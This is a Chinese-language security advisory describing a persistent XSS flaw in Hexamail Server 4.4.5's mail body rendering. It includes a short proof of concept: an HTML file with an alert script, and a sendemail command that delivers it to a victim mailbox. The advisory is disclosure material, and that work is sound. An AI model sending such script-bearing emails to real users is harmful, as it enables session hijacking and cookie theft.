安全研究
安全漏洞
Hexamail Server邮件体HTML注入漏洞
发布日期：2012-06-04
更新日期：2012-06-05
受影响系统：Hexamail Hexamail Server 4.4.5
描述：
BUGTRAQ ID:
53769
Hexamail Server是一款高级的邮件服务器，支持所有的标准邮件协议。
Hexamail Server 4.4.5在邮件体的实现上存在XSS漏洞，通过发送恶意脚本到受害者电子邮件，邮箱可自动加载邮件体，无需授权，即可允许恶意用户在受害者浏览器中劫持用户会话，重定向用户，窃取Cookie身份验证凭证并控制站点外观。
<*来源：modpr0be
链接：
http://www.spentera.com/2012/06/hexamail-server-4-4-5-persistent-xss-vulnerability/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
root@bt:~/# cat > meal.txt
<html>
<body>
<h1>XSS pop up</h1>
<script>alert('Hi, what is this?');</script>
</body>
</html>
root@bt:~/#
Send email to the victim:
root@bt:~/# sendemail -f
bob@example.com -t
david@example.com -xu
bob@example.com \
-xp bob123 -u "Want some meal..?" -o message-file=meal.txt -s mail.example.com
建议：
厂商补丁：
Hexamail
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.hexamail.com/hexamailserver/浏览次数：1908
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障 |
